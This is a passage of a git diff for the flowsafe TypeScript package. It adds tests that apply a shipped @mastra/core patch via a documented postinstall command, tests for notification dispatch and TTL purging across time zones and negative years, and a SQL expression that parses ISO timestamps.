}, { executionFence: 'none', startIdempotency: 'none' }) }); +} finally { + console.error = notificationLog; +} +assert.equal(unsupportedNotificationResponse.status, 502); +assert.deepEqual(await unsupportedNotificationResponse.json(), { error: 'internal error' }); +assert.equal(unsupportedNotificationReads, 0); +notificationSql.close(); +`, + ); + run(process.execPath, ['notification-runtime.mjs'], patchedConsumer); +} + +/** The postinstall command the guide documents applies the shipped bytes once. */ +function assertToolNeutralPatchRoute(consumer, patchName, shippedPatch) { + const coreChunks = [ + 'chunk-P4Y2BJL7.js', + 'chunk-XAQAI6CU.cjs', + 'chunk-3S5BFAEP.js', + 'chunk-ODHD3TLJ.cjs', + ]; + const appRoot = join(temporary, 'app-root'); + const scratchCore = join(appRoot, 'node_modules', '@mastra', 'core'); + // A plain content copy, never a hard-link clone: the installed chunk files + // are hard links into the pnpm store. + cpSync( + join(consumer, 'node_modules', '@mastra', 'core', 'dist'), + join(scratchCore, 'dist'), + { recursive: true, dereference: true }, + ); + mkdirSync(join(appRoot, 'patches'), { recursive: true }); + copyFileSync(shippedPatch, join(appRoot, 'patches', patchName)); + const guide = readFileSync( + join(repositoryRoot, 'docs', 'getting-started.md'), + 'utf8', + ); + const documented = [...guide.matchAll(/"postinstall": "([^"]*)"/g)]; + assert.equal( + documented.length, + 1, + 'the getting-started guide must document one postinstall command', + ); + const command = documented[0][1]; + // This site departs from the file's argv-only convention because the + // documented command is a shell string carrying redirection and ||, and + // running what the guide prints is what makes the guide's verification + // sentence true. + const firstLeg = spawnSync('sh', ['-c', command], { + cwd: appRoot, + stdio: 'pipe', + }); + assert.equal(firstLeg.status, 0, 'the documented command must apply cleanly'); + for (const chunk of coreChunks) { + assert.deepEqual( + readFileSync(join(scratchCore, 'dist', chunk)), + readFileSync( + join(packageRoot, 'node_modules', '@mastra', 'core', 'dist', chunk), + ), + `${chunk} must match the workspace's patched chunk`, + ); + } + const secondLeg = spawnSync('sh', ['-c', command], { + cwd: appRoot, + stdio: 'pipe', + }); + assert.equal(secondLeg.status, 0, 'the documented command must re-run clean'); + for (const chunk of coreChunks) { + assert.deepEqual( + readFileSync(join(scratchCore, 'dist', chunk)), + readFileSync( + join(packageRoot, 'node_modules', '@mastra', 'core', 'dist', chunk), + ), + `${chunk} must be unchanged by a second run`, + ); + } + assert.deepEqual( + readdirSync(join(scratchCore, 'dist')).filter( + (name) => name.endsWith('.rej') || name.endsWith('.orig'), + ), + [], + ); +} try { const packed = join(temporary, 'packed'); const breakwaterPacked = join(temporary, 'breakwater-packed'); @@ -218,6 +467,17 @@ try { join(consumer, '.npmrc'), 'ignore-scripts=true\nengine-strict=true\nauto-install-peers=false\n', ); + // GNU patch applies the shipped patch in the tool-neutral proof below. + // Probing before the consumer installs keeps a missing tool from costing + // several minutes of installing first. + try { + execFileSync('patch', ['--version'], { encoding: 'utf8', stdio: 'pipe' }); + } catch (error) { + throw new Error( + 'GNU patch is required on PATH for the packed agent-host proof', + { cause: error }, + ); + } run('pnpm', ['install', '--ignore-scripts'], consumer); const installedFlowsafeRoot = join( @@ -550,6 +810,15 @@ void createRunRouter; type ActorContext, ApprovalService, createActorResolver, createPrincipalActorContext, humanPrincipal, InMemoryApprovalStoreFactory, } from '@proofoftech/flowsafe/approval-api'; +import type { NotificationsStorage } from '@mastra/core/notifications'; +import { + createNotificationDispatchTick, createThreadSignalRoutes, + DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, D1NotificationsStorage, + type NotificationDeliveryStorage, type NotificationDeliveryObservation, + type NotificationDeliveryFailure, type NotificationDeliveryUpdateResult, + type NotificationDispatchTickOptions, type ThreadSignalRoutesOptions, + type SignalDatabase, +} from '@proofoftech/flowsafe/signals'; import { type RunnerRuntime, type RunExecutionIdentity, type StartRunOptions, type ThreadScope, type StartReservationReading, type PersistedStartResult, @@ -558,7 +827,7 @@ import { import { createFlowsafeWorker, type FlowsafeWorkerConfig, type FlowsafeWorkerEnv, type RunStartInput, type DoRunStartInput, type RunRouterOptions, - type RunRouterStartIdempotency, + type RunRouterStartIdempotency, type ThreadTopology, } from '@proofoftech/flowsafe/host-kit'; import { type AgentStartAuthority, type FlowsafeDurableAgent, @@ -598,6 +867,30 @@ const legacyContext: ActorContext = { canAccessResource: async () => true, canSelfDecide: () => false, }; const epochContext: ActorContext = { ...legacyContext, mutationEpoch: 2 }; +declare const notificationDatabase: SignalDatabase; +declare const coreNotifications: NotificationsStorage; +declare const notificationTopology: ThreadTopology; +declare const conditionalDelivery: NotificationDeliveryStorage['updateNotificationDeliveryIfUnchanged']; +const notificationStore: NotificationDeliveryStorage = new D1NotificationsStorage(notificationDatabase); +const customNotificationStore: NotificationDeliveryStorage = Object.assign(coreNotifications, { updateNotificationDeliveryIfUnchanged: conditionalDelivery }); +const notificationTickOptions: NotificationDispatchTickOptions = { + storage: notificationStore, topology: notificationTopology, resolveContext: () => legacyContext, + executionFence: 'none', maxDeliveryAttempts: DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, +}; +createNotificationDispatchTick(notificationTickOptions); +createNotificationDispatchTick({ ...notificationTickOptions, storage: customNotificationStore, maxDeliveryAttempts: 1 }); +// @ts-expect-error Core notification storage cannot conditionally write failure receipts +createNotificationDispatchTick({ ...notificationTickOptions, storage: coreNotifications }); +const notificationRouteOptions: ThreadSignalRoutesOptions = { + resolveAgent: () => { throw new Error('type-only agent'); }, + resolveNotificationsStorage: () => coreNotifications, + maxDeliveryAttempts: DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, +}; +createThreadSignalRoutes(notificationRouteOptions); +declare const notificationObservation: NotificationDeliveryObservation; +const exhaustedNotification: NotificationDeliveryFailure = { type: 'exhausted', updatedAt: new Date().toISOString() }; +const notificationUpdate: Promise = notificationStore.updateNotificationDeliveryIfUnchanged({ expected: notificationObservation, failure: exhaustedNotification }); +void notificationUpdate; createActorResolver({ authenticate: () => actor, storeFactory: factory, buildService: () => service, mutationEpoch: 2, @@ -730,6 +1023,7 @@ import * as doRunner from '@proofoftech/flowsafe/do-runner'; import * as hostKit from '@proofoftech/flowsafe/host-kit'; import * as agentRunner from '@proofoftech/flowsafe/agent-runner'; import * as schedules from '@proofoftech/flowsafe/schedules'; +import * as signals from '@proofoftech/flowsafe/signals'; import { Mastra } from '@mastra/core/mastra'; import { InMemoryStore } from '@mastra/core/storage'; import { createStep, createWorkflow } from '@mastra/core/workflows'; @@ -838,11 +1132,57 @@ for (const name of ['claim', 'release', 'settleRun']) { assert.equal(name in doRunner.StartIdempotencyStore.prototype, false, name); } for (const api of [flowsafe, doRunner, hostKit]) assert.equal('rollbackFencedStart' in api, false); -for (const api of [flowsafe, approvals, doRunner, hostKit, host, agentRunner, schedules]) { - for (const name of ['captureActorContext', 'captureAgentStartAuthority', 'captureStartRunOptions', 'startAuthorities', 'AgentStartAuthority', 'executionFenceAdmissionValues', 'captureExecutionFenceAdmissionSchema', 'executionFenceAdmissionSql', 'AgentRunSelectorMismatchError']) { +for (const api of [flowsafe, approvals, doRunner, hostKit, host, agentRunner, schedules, signals]) { + for (const name of ['captureActorContext', 'captureAgentStartAuthority', 'captureStartRunOptions', 'startAuthorities', 'AgentStartAuthority', 'executionFenceAdmissionValues', 'captureExecutionFenceAdmissionSchema', 'executionFenceAdmissionSql', 'AgentRunSelectorMismatchError', 'captureNotificationDeliveryObservation', 'captureNotificationDeliverySelection', 'captureNotificationDeliveryStorage', 'recordNotificationDeliveryFailure']) { assert.equal(name in api, false, name); } } +assert.equal(signals.DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, 10); +const notificationSql = openSqlite(); +const notificationStore = new signals.D1NotificationsStorage(sqliteUnitDatabase(notificationSql)); +const notificationNow = new Date(); +await notificationStore.createNotification({ + id: 'packed-notification', threadId: 'notification-thread', resourceId: 'notification-thread', agentId: 'writer', + source: 'packed', kind: 'changed', summary: 'delivery receipt', deliverAt: notificationNow, +}); +const notificationContext = approvals.createPrincipalActorContext({ + principal: approvals.trustAutomationPrincipal({ kind: 'system', id: 'notification-dispatch', purpose: 'notification.dispatch' }), + storeFactory: new approvals.InMemoryApprovalStoreFactory(), + buildService: () => { throw new Error('notification receipt does not use approval service'); }, +}); +const notificationTickOptions = { + storage: notificationStore, + topology: { send: async () => new Response(null, { status: 404 }) }, + resolveContext: () => notificationContext, + now: () => notificationNow, + executionFence: 'none', + maxDeliveryAttempts: 1, +}; +assert.throws(() => signals.createNotificationDispatchTick(notificationTickOptions), { name: 'TypeError', message: /Apply the flowsafe patch to @mastra\\/core/ }); +let unsupportedNotificationReads = 0; +const unsupportedNotificationRoutes = signals.createThreadSignalRoutes({ + resolveAgent: () => ({ id: 'writer' }), + resolveResourceId: () => 'notification-thread', + resolveNotificationsStorage: () => ({ + getNotification: async () => { unsupportedNotificationReads++; return null; }, + }), +}); +const notificationLog = console.error; +const notificationRefusals = []; +let unsupportedNotificationResponse; +try { + console.error = (...args) => { notificationRefusals.push(args.map(String).join(' ')); }; + unsupportedNotificationResponse = await unsupportedNotificationRoutes(new Request('https://thread/signal/notifications/dispatch', { + method: 'POST', body: JSON.stringify({ notificationIds: ['packed-notification'], resourceId: 'notification-thread', agentId: 'writer', now: notificationNow.toISOString() }), + }), { threadId: 'notification-thread', principal: notificationContext.principal, init: doRunner.init({ storage: new InMemoryStore() }, { executionFence: 'none', startIdempotency: 'none' }) }); +} finally { + console.error = notificationLog; +} +assert.equal(unsupportedNotificationResponse.status, 502); +assert.deepEqual(await unsupportedNotificationResponse.json(), { error: 'internal error' }); +assert.equal(unsupportedNotificationReads, 0); +assert.equal(notificationRefusals.some((line) => line.includes('Apply the flowsafe patch to @mastra/core')), true, 'the refusal naming the patch must reach console.error'); +notificationSql.close(); for (const api of [flowsafe, doRunner, hostKit]) { for (const name of ['FENCED_SCHEDULE_STORAGE', 'ScheduleMutationConflictError', 'ScheduleMutationOutcomeUnknownError']) { assert.equal(name in api, false, name); @@ -1176,6 +1516,27 @@ export default { ], consumer, ); + // The @mastra/core patch this package ships. A consumer applies it at its own + // root; installing flowsafe does not. The ordinary consumer above therefore + // keeps the defect, which is the publication limit the checks below pin. + const patchName = '@mastra__core@1.53.0.patch'; + const shippedPatch = join(packageDirectory, 'patches', patchName); + assert.equal( + existsSync(shippedPatch), + true, + 'the packed package must ship the @mastra/core patch', + ); + // files publishes this one path, so anything else left in patches/ would + // ship to consumers unremarked. + assert.deepEqual(readdirSync(join(packageDirectory, 'patches')).sort(), [ + patchName, + ]); + assertUnpatchedConsumerDefect(consumer); + + assertPatchedConsumerInstall(consumer, patchName, shippedPatch); + + assertToolNeutralPatchRoute(consumer, patchName, shippedPatch); + console.log( `packed agent-host clean core-${corePeer} import and bundle passed`, ); diff --git a/packages/flowsafe/src/do-runner/d1-storage.test.ts b/packages/flowsafe/src/do-runner/d1-storage.test.ts index 05ce4187..85b4749a 100644 --- a/packages/flowsafe/src/do-runner/d1-storage.test.ts +++ b/packages/flowsafe/src/do-runner/d1-storage.test.ts @@ -2124,11 +2124,20 @@ async function signalDb(sqlite: SqliteDatabase): Promise { function seedNotification( db: SqliteDatabase, - row: { id: string; threadId: string; status: string; updatedAt: number }, + row: { + id: string; + threadId: string; + status: string; + updatedAt: number | string; + tablePrefix?: string; + }, ): void { - const iso = new Date(row.updatedAt).toISOString(); + const iso = + typeof row.updatedAt === 'string' + ? row.updatedAt + : new Date(row.updatedAt).toISOString(); db.prepare( - `INSERT INTO mastra_notifications + `INSERT INTO ${row.tablePrefix ?? ''}mastra_notifications (id, thread_id, source, kind, priority, status, summary, coalescedCount, createdAt, updatedAt, deliveryAttempts) VALUES (?, ?, 'x', 'y', 'medium', ?, 'z', 1, ?, ?, 0)`, @@ -2187,11 +2196,162 @@ describe('purgeExpiredNotifications', () => { expect(ids).toEqual(['ancient-pending', 'fresh-delivered']); }); - it('reads a missing table as zero', async () => { + describe.each(['', 'tenant_'])('table prefix %j', (tablePrefix) => { + it.each([ + { + name: 'ordinary year', + now: '2026-07-07T12:00:00.000Z', + oldOffset: '2026-07-06T15:59:59.999+04:00', + futureOffset: '2026-07-06T07:00:00-06:00', + equalOffset: '2026-07-06T16:00:00+0400', + }, + { + name: 'negative year', + now: '-000100-01-02T12:00:00.000Z', + oldOffset: '-000100-01-01T15:59:59.999+04:00', + futureOffset: '-000100-01-01T07:00:00-06:00', + equalOffset: '-000100-01-01T16:00:00+0400', + }, + ])('applies notification TTL by Date chronology for $name', async ({ + now, + oldOffset, + futureOffset, + equalOffset, + }) => { + const sqlite = openSqlite(); + const binding = sqliteUnitDatabase(sqlite) as SignalDatabase; + await new D1NotificationsStorage(binding, tablePrefix).init(); + const instant = new Date(now).getTime(); + const cutoff = instant - DAY_MS; + const rows = [ + { + id: 'extended-future', + status: 'delivered', + updatedAt: '+010000-01-01T00:00:00.000Z', + }, + { + id: 'negative-past', + status: 'seen', + updatedAt: '-000200-01-01T00:00:00.000Z', + }, + { + id: 'old-canonical', + status: 'dismissed', + updatedAt: new Date(cutoff - 1).toISOString(), + }, + { id: 'old-offset', status: 'archived', updatedAt: oldOffset }, + { + id: 'future-offset', + status: 'discarded', + updatedAt: futureOffset, + }, + { id: 'equal-offset', status: 'delivered', updatedAt: equalOffset }, + { + id: 'equal-canonical', + status: 'discarded', + updatedAt: new Date(cutoff).toISOString(), + }, + { id: 'pending-old', status: 'pending', updatedAt: oldOffset }, + ]; + for (const row of rows) { + expect(Number.isFinite(new Date(row.updatedAt).getTime())).toBe(true); + seedNotification(sqlite, { ...row, threadId: 'thread', tablePrefix }); + } + if (tablePrefix !== '') { + await new D1NotificationsStorage(binding, '').init(); + seedNotification(sqlite, { + id: 'other-prefix', + threadId: 'thread', + status: 'delivered', + updatedAt: oldOffset, + }); + } + const retained = rows.filter( + (row) => + row.status === 'pending' || + new Date(row.updatedAt).getTime() >= cutoff, + ); + expect( + await purgeExpiredNotifications(d1Like(sqlite), { + ttlMs: DAY_MS, + tablePrefix, + now: () => instant, + }), + ).toBe(rows.length - retained.length); + expect( + sqlite + .prepare( + `SELECT id, status, updatedAt FROM ${tablePrefix}mastra_notifications ORDER BY id`, + ) + .all(), + ).toEqual(retained.sort((a, b) => a.id.localeCompare(b.id))); + if (tablePrefix !== '') { + expect( + sqlite.prepare('SELECT id FROM mastra_notifications').all(), + ).toEqual([{ id: 'other-prefix' }]); + } + }); + + it('reads a missing table as zero', async () => { + const sqlite = openSqlite(); + expect( + await purgeExpiredNotifications(d1Like(sqlite), { + ttlMs: DAY_MS, + tablePrefix, + }), + ).toBe(0); + }); + }); + + it.each([ + 'invalid', + '0', + '2026-07-06T00:00:00', + '2026-07-06T00:00:00Z\0', + '+275760-09-13T00:00:00.001Z', + ])('retains unsupported raw updatedAt %j', async (updatedAt) => { const sqlite = openSqlite(); + await signalDb(sqlite); + seedNotification(sqlite, { + id: 'unreadable', + threadId: 'thread', + status: 'delivered', + updatedAt, + }); expect( - await purgeExpiredNotifications(d1Like(sqlite), { ttlMs: DAY_MS }), + await purgeExpiredNotifications(d1Like(sqlite), { + ttlMs: DAY_MS, + now: () => NOW, + }), ).toBe(0); + expect(sqlite.prepare('SELECT id FROM mastra_notifications').all()).toEqual( + [{ id: 'unreadable' }], + ); + }); + + it.each([ + { now: NaN, ttlMs: DAY_MS }, + { now: Infinity, ttlMs: DAY_MS }, + { now: 8_640_000_000_000_001, ttlMs: 0 }, + { now: -8_640_000_000_000_000, ttlMs: 1 }, + ])('rejects a cutoff outside the finite Date range: %j', async ({ + now, + ttlMs, + }) => { + const sqlite = openSqlite(); + await signalDb(sqlite); + seedNotification(sqlite, { + id: 'retained', + threadId: 'thread', + status: 'delivered', + updatedAt: NOW - 2 * DAY_MS, + }); + await expect( + purgeExpiredNotifications(d1Like(sqlite), { ttlMs, now: () => now }), + ).rejects.toThrow(); + expect(sqlite.prepare('SELECT id FROM mastra_notifications').all()).toEqual( + [{ id: 'retained' }], + ); }); }); diff --git a/packages/flowsafe/src/do-runner/d1-storage.ts b/packages/flowsafe/src/do-runner/d1-storage.ts index 88ec2497..8cbf0852 100644 --- a/packages/flowsafe/src/do-runner/d1-storage.ts +++ b/packages/flowsafe/src/do-runner/d1-storage.ts @@ -18,6 +18,10 @@ import { normalizeStartExecutionIdentity, } from './execution-admission.js'; import { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js'; +import { + notificationTimestampMillis, + notificationTimestampSql, +} from './notification-predicate.js'; import { isPathSafeId } from './path-safe-id.js'; import { decodeRunStartIdentity, @@ -2006,9 +2010,8 @@ export interface PurgeExpiredNotificationsOptions { * rows from `mastra_notifications` once their `updatedAt` is older than the TTL, * at the storage layer so alarm maintenance reaps them without a live agent — * the same posture as the other purges (raw D1 binding, failure-isolated duty). - * `updatedAt` is ISO-8601 TEXT, so lexicographic `<` is a correct timestamp - * comparison. A missing table reads as zero (notifications may never have been - * sent). Scheduling stays with the caller. + * A missing table reads as zero (notifications may never have been sent). + * Scheduling stays with the caller. */ export async function purgeExpiredNotifications( db: SnapshotDatabase, @@ -2016,14 +2019,14 @@ export async function purgeExpiredNotifications( ): Promise { const prefix = validateTablePrefix(options.tablePrefix) ?? ''; const now = options.now ?? Date.now; - const cutoff = new Date(now() - options.ttlMs).toISOString(); + const cutoff = notificationTimestampMillis(new Date(now() - options.ttlMs)); const placeholders = NOTIFICATION_TERMINAL_STATUSES.map(() => '?').join(', '); try { return d1Changes( await db .prepare( `DELETE FROM ${prefix}mastra_notifications - WHERE status IN (${placeholders}) AND updatedAt < ?`, + WHERE status IN (${placeholders}) AND ${notificationTimestampSql('updatedAt')} < ?`, ) .bind(...NOTIFICATION_TERMINAL_STATUSES, cutoff) .run(), diff --git a/packages/flowsafe/src/do-runner/inventory.test.ts b/packages/flowsafe/src/do-runner/inventory.test.ts index fd029f1b..abf0b8c7 100644 --- a/packages/flowsafe/src/do-runner/inventory.test.ts +++ b/packages/flowsafe/src/do-runner/inventory.test.ts @@ -35,6 +35,8 @@ import { APPROVALS_TABLE } from '../approval-api/types.js'; import { EXECUTION_FENCE_SUSPEND_KEY } from '../background-tasks/index.js'; import { createScheduleStorageDomains } from '../schedules/storage.js'; import { D1SubscriptionStoreFactory } from '../signal-providers/index.js'; +import type { SignalDatabase } from '../signals/d1-shared.js'; +import { D1NotificationsStorage } from '../signals/notifications-d1.js'; import { createSignalStorageDomains } from '../signals/storage.js'; import { createD1Storage, RESOURCE_OWNER_TABLE } from './d1-storage.js'; import { RUN_OWNER_RECOVERY_DELAY_MS } from './durable-object.js'; @@ -510,6 +512,111 @@ describe('deployment drain inventory', () => { ).toEqual([['key-live']]); }); + it.each([ + { + name: 'ordinary year', + now: '2026-08-24T12:00:00.000Z', + dueOffset: '2026-08-24T15:59:59.999+04:00', + futureOffset: '2026-08-24T07:00:00-06:00', + equalOffset: '2026-08-24T16:00:00+0400', + }, + { + name: 'negative year', + now: '-000100-01-01T12:00:00.000Z', + dueOffset: '-000100-01-01T15:59:59.999+04:00', + futureOffset: '-000100-01-01T07:00:00-06:00', + equalOffset: '-000100-01-01T16:00:00+0400', + }, + ])('matches notification due reads and Date chronology for $name inventory', async ({ + now, + dueOffset, + futureOffset, + equalOffset, + }) => { + const sqlite = openSqlite(); + const binding = sqliteUnitDatabase(sqlite); + const notifications = new D1NotificationsStorage( + binding as SignalDatabase, + '', + ); + await notifications.init(); + const instant = new Date(now).getTime(); + const future = '+010000-01-01T00:00:00.000Z'; + const due = new Date(instant - 1).toISOString(); + const rows = [ + { id: 'a-expanded-future', deliverAt: future, summaryAt: null }, + { id: 'b-ordinary-due', deliverAt: due, summaryAt: null }, + { id: 'c-offset-due', deliverAt: dueOffset, summaryAt: null }, + { id: 'd-offset-future', deliverAt: futureOffset, summaryAt: null }, + { id: 'e-summary-due', deliverAt: future, summaryAt: dueOffset }, + { id: 'f-never', deliverAt: null, summaryAt: null }, + { id: 'g-equal', deliverAt: equalOffset, summaryAt: null }, + { + id: 'h-negative-past', + deliverAt: '-000200-01-01T00:00:00.000Z', + summaryAt: null, + }, + { + id: 'i-delivered', + deliverAt: due, + summaryAt: null, + status: 'delivered', + }, + ]; + const insert = sqlite.prepare( + `INSERT INTO mastra_notifications + (id, thread_id, source, kind, priority, status, summary, coalescedCount, + createdAt, updatedAt, deliverAt, summaryAt, deliveryAttempts) + VALUES (?, 'thread', 'source', 'kind', 'medium', ?, 'summary', 1, ?, ?, ?, ?, 0)`, + ); + for (const row of rows) { + for (const cursor of [row.deliverAt, row.summaryAt]) { + if (cursor !== null) + expect(Number.isFinite(new Date(cursor).getTime())).toBe(true); + } + insert.run( + row.id, + row.status ?? 'pending', + now, + now, + row.deliverAt, + row.summaryAt, + ); + } + const expected = rows + .filter( + (row) => + row.status !== 'delivered' && + [row.deliverAt, row.summaryAt].some( + (cursor) => + cursor !== null && new Date(cursor).getTime() <= instant, + ), + ) + .map((row) => row.id) + .sort(); + const inventory = new DeploymentInventory(binding as InventoryDatabase, { + now: () => instant, + }); + const first = await inventory.read('pending-notifications', { limit: 1 }); + expect(first.entries.map((entry) => entry.key[1])).toEqual( + expected.slice(0, 1), + ); + expect(first.count).toBe(expected.length); + expect(first.totals).toEqual({ + notDue: + rows.filter((row) => row.status !== 'delivered').length - + expected.length, + }); + expect(await drain(inventory, 'pending-notifications', 1)).toEqual( + expected.map((id) => JSON.stringify(['thread', id])), + ); + const dueNotifications = await notifications.listDueNotifications({ + now: new Date(instant), + limit: rows.length, + }); + expect(dueNotifications.map((row) => row.id).sort()).toEqual(expected); + }); + it('reports standing configuration without asking a drain to empty it', async () => { // #given const { inventory } = await seeded(); diff --git a/packages/flowsafe/src/do-runner/inventory.ts b/packages/flowsafe/src/do-runner/inventory.ts index 432b7a7a..91084a62 100644 --- a/packages/flowsafe/src/do-runner/inventory.ts +++ b/packages/flowsafe/src/do-runner/inventory.ts @@ -70,7 +70,10 @@ import { EXECUTION_FENCE_SUSPEND_KEY, type ExecutionFenceState, } from './execution-fence.js'; -import { DUE_NOTIFICATION_SQL } from './notification-predicate.js'; +import { + DUE_NOTIFICATION_SQL, + notificationTimestampMillis, +} from './notification-predicate.js'; import { START_IDEMPOTENCY_TABLE, START_RESERVATION_STATES, @@ -1059,13 +1062,14 @@ export class DeploymentInventory { binds: [], }; case 'pending-notifications': { - const now = new Date(this.#now()).toISOString(); + const now = notificationTimestampMillis(new Date(this.#now())); // listDueNotifications' predicate, verbatim in meaning: pending AND // (deliverAt or summaryAt has come due). A pending row that is not yet - // due is NOT work a drain can finish — no dispatch pass will select - // it — so it stays out of the page and is reported as `notDue` - // instead. That total also covers pending rows carrying NEITHER - // timestamp, which no dispatch pass will ever select at all. + // due stays out of the page and is reported as `notDue` instead; that + // total also covers pending rows carrying NEITHER timestamp, which no + // dispatch pass will ever select. A due row the dispatcher cannot read + // is in the page on every pass and leaves it only when a writer + // repairs or deletes it. const due = DUE_NOTIFICATION_SQL; return { key: ['thread_id', 'id'], diff --git a/packages/flowsafe/src/do-runner/notification-predicate.ts b/packages/flowsafe/src/do-runner/notification-predicate.ts index 3e67e3a4..885dd94c 100644 --- a/packages/flowsafe/src/do-runner/notification-predicate.ts +++ b/packages/flowsafe/src/do-runner/notification-predicate.ts @@ -1,10 +1,151 @@ // SPDX-License-Identifier: Apache-2.0 -/** - * Pending notifications whose delivery or summary time has arrived. - * - * Bind two positional parameters to the same ISO "now": `deliverAt` first, - * then `summaryAt`. - */ -export const DUE_NOTIFICATION_SQL = - "status = 'pending' AND ((deliverAt IS NOT NULL AND deliverAt <= ?) OR (summaryAt IS NOT NULL AND summaryAt <= ?))"; +const NOTIFICATION_TIMESTAMP_COLUMNS = [ + 'deliverAt', + 'summaryAt', + 'updatedAt', +] as const; + +type NotificationTimestampColumn = + (typeof NOTIFICATION_TIMESTAMP_COLUMNS)[number]; + +const ISO_YEAR = '(?:\\d{4}|[+-]\\d{6})'; +const ISO_MONTH = '(?:0[1-9]|1[0-2])'; +const ISO_DAY = '(?:0[1-9]|[12]\\d|3[01])'; +const ISO_HOUR = '(?:[01]\\d|2[0-4])'; +const ISO_MINUTE = '[0-5]\\d'; +const ISO_ZONE = '(?:Z|[+-](?:[01]\\d|2[0-3]):?[0-5]\\d)'; +const ISO_DATE = `${ISO_YEAR}-${ISO_MONTH}-${ISO_DAY}`; +const ISO_DATE_ONLY = `${ISO_YEAR}(?:-${ISO_MONTH}(?:-${ISO_DAY})?)?`; +const ISO_TIME = `${ISO_HOUR}:${ISO_MINUTE}(?::${ISO_MINUTE}(?:\\.\\d+)?)?`; +const NOTIFICATION_TIMESTAMP = new RegExp( + `^(?:${ISO_DATE_ONLY}|${ISO_DATE}T${ISO_TIME}${ISO_ZONE})(?![\\s\\S])`, + 'i', +); + +export function notificationTimestampMillis(value: Date | string): number { + const time = + value instanceof Date + ? value.getTime() + : typeof value === 'string' && + NOTIFICATION_TIMESTAMP.test(value) && + !value.startsWith('-000000') + ? new Date(value).getTime() + : NaN; + if (!Number.isFinite(time)) { + throw new TypeError( + 'Notification timestamp must be a finite Date or supported ISO date', + ); + } + return time; +} + +// Whole Gregorian cycles preserve month/day relationships while SQLite parses +// a year in its supported range; integer milliseconds retain the original range. +// Materializing per-value stages bounds SQLite's compiled expression growth. +export function notificationTimestampSql( + column: NotificationTimestampColumn, +): string { + if (!NOTIFICATION_TIMESTAMP_COLUMNS.includes(column)) { + throw new TypeError('Unknown notification timestamp column'); + } + return `(CASE WHEN typeof(${column}) = 'text' + AND length(CAST(${column} AS BLOB)) = 24 + AND ${column} GLOB '????-??-??T??:??:??.???Z' + AND CAST(substr(${column}, 12, 2) AS INTEGER) < 24 + THEN CAST(ROUND((julianday(${column}) - 2440587.5) * 86400000) AS INTEGER) + ELSE (WITH iso_source AS ( + SELECT ${column} AS raw + ), iso_input AS ( + SELECT raw, upper(raw) AS value, + CASE WHEN substr(raw, 1, 1) IN ('+', '-') THEN 7 ELSE 4 END AS year_width + FROM iso_source + ), iso_split AS ( + SELECT *, instr(value, 'T') AS time_start FROM iso_input + ), iso_parts AS MATERIALIZED ( + SELECT *, + CASE WHEN time_start = 0 THEN value ELSE substr(value, 1, time_start - 1) END AS date_part, + CASE WHEN time_start = 0 THEN NULL ELSE substr(value, time_start + 1) END AS zoned_time + FROM iso_split + ), iso_zone AS ( + SELECT *, + CASE + WHEN zoned_time IS NULL THEN 'date' + WHEN substr(zoned_time, -1) = 'Z' THEN 'utc' + WHEN substr(zoned_time, -6, 1) IN ('+', '-') THEN 'offset' + WHEN substr(zoned_time, -5, 1) IN ('+', '-') THEN 'compact' + ELSE 'missing' + END AS zone_type + FROM iso_parts + ), iso_clock AS MATERIALIZED ( + SELECT *, + CAST(substr(date_part, 1, year_width) AS INTEGER) AS original_year, + CASE WHEN year_width = 7 THEN substr(date_part, 2, 6) ELSE substr(date_part, 1, 4) END AS year_digits, + CASE WHEN length(date_part) >= year_width + 3 THEN substr(date_part, year_width + 2, 2) ELSE '01' END AS month, + CASE WHEN length(date_part) >= year_width + 6 THEN substr(date_part, year_width + 5, 2) ELSE '01' END AS day, + CASE zone_type + WHEN 'date' THEN '00:00:00' + WHEN 'utc' THEN substr(zoned_time, 1, length(zoned_time) - 1) + WHEN 'offset' THEN substr(zoned_time, 1, length(zoned_time) - 6) + WHEN 'compact' THEN substr(zoned_time, 1, length(zoned_time) - 5) + ELSE '' + END AS clock, + CASE zone_type + WHEN 'offset' THEN substr(zoned_time, -6) + WHEN 'compact' THEN substr(zoned_time, -5, 3) || ':' || substr(zoned_time, -2) + ELSE '+00:00' + END AS zone + FROM iso_zone + ), iso_fields AS MATERIALIZED ( + SELECT *, + substr(clock, 1, 2) AS hour, + substr(clock, 4, 2) AS minute, + CASE WHEN length(clock) >= 8 THEN substr(clock, 7, 2) ELSE '00' END AS second, + CASE WHEN length(clock) > 8 THEN substr(clock, 10) ELSE '' END AS fraction, + substr(zone, 2, 2) AS zone_hour, + substr(zone, 5, 2) AS zone_minute, + 2000 + ((original_year % 400 + 400) % 400) AS mapped_year + FROM iso_clock + ), iso_valid AS ( + SELECT *, substr(fraction || '000', 1, 3) AS milliseconds + FROM iso_fields + WHERE typeof(raw) = 'text' + AND length(CAST(raw AS BLOB)) = length(raw) + AND length(year_digits) = CASE WHEN year_width = 7 THEN 6 ELSE 4 END + AND year_digits NOT GLOB '*[^0-9]*' + AND substr(date_part, 1, 7) != '-000000' + AND length(date_part) IN (year_width, year_width + 3, year_width + 6) + AND (length(date_part) = year_width OR substr(date_part, year_width + 1, 1) = '-') + AND (length(date_part) < year_width + 6 OR substr(date_part, year_width + 4, 1) = '-') + AND (time_start = 0 OR length(date_part) = year_width + 6) + AND length(month) = 2 AND month NOT GLOB '*[^0-9]*' AND CAST(month AS INTEGER) BETWEEN 1 AND 12 + AND length(day) = 2 AND day NOT GLOB '*[^0-9]*' AND CAST(day AS INTEGER) BETWEEN 1 AND 31 + AND zone_type != 'missing' + AND (length(clock) IN (5, 8) OR (length(clock) >= 10 AND substr(clock, 9, 1) = '.')) + AND substr(clock, 3, 1) = ':' + AND (length(clock) = 5 OR substr(clock, 6, 1) = ':') + AND length(hour) = 2 AND hour NOT GLOB '*[^0-9]*' AND CAST(hour AS INTEGER) BETWEEN 0 AND 24 + AND length(minute) = 2 AND minute NOT GLOB '*[^0-9]*' AND CAST(minute AS INTEGER) BETWEEN 0 AND 59 + AND length(second) = 2 AND second NOT GLOB '*[^0-9]*' AND CAST(second AS INTEGER) BETWEEN 0 AND 59 + AND fraction NOT GLOB '*[^0-9]*' + AND (CAST(hour AS INTEGER) < 24 OR (CAST(minute AS INTEGER) = 0 AND CAST(second AS INTEGER) = 0 AND CAST(substr(fraction || '000', 1, 3) AS INTEGER) = 0)) + 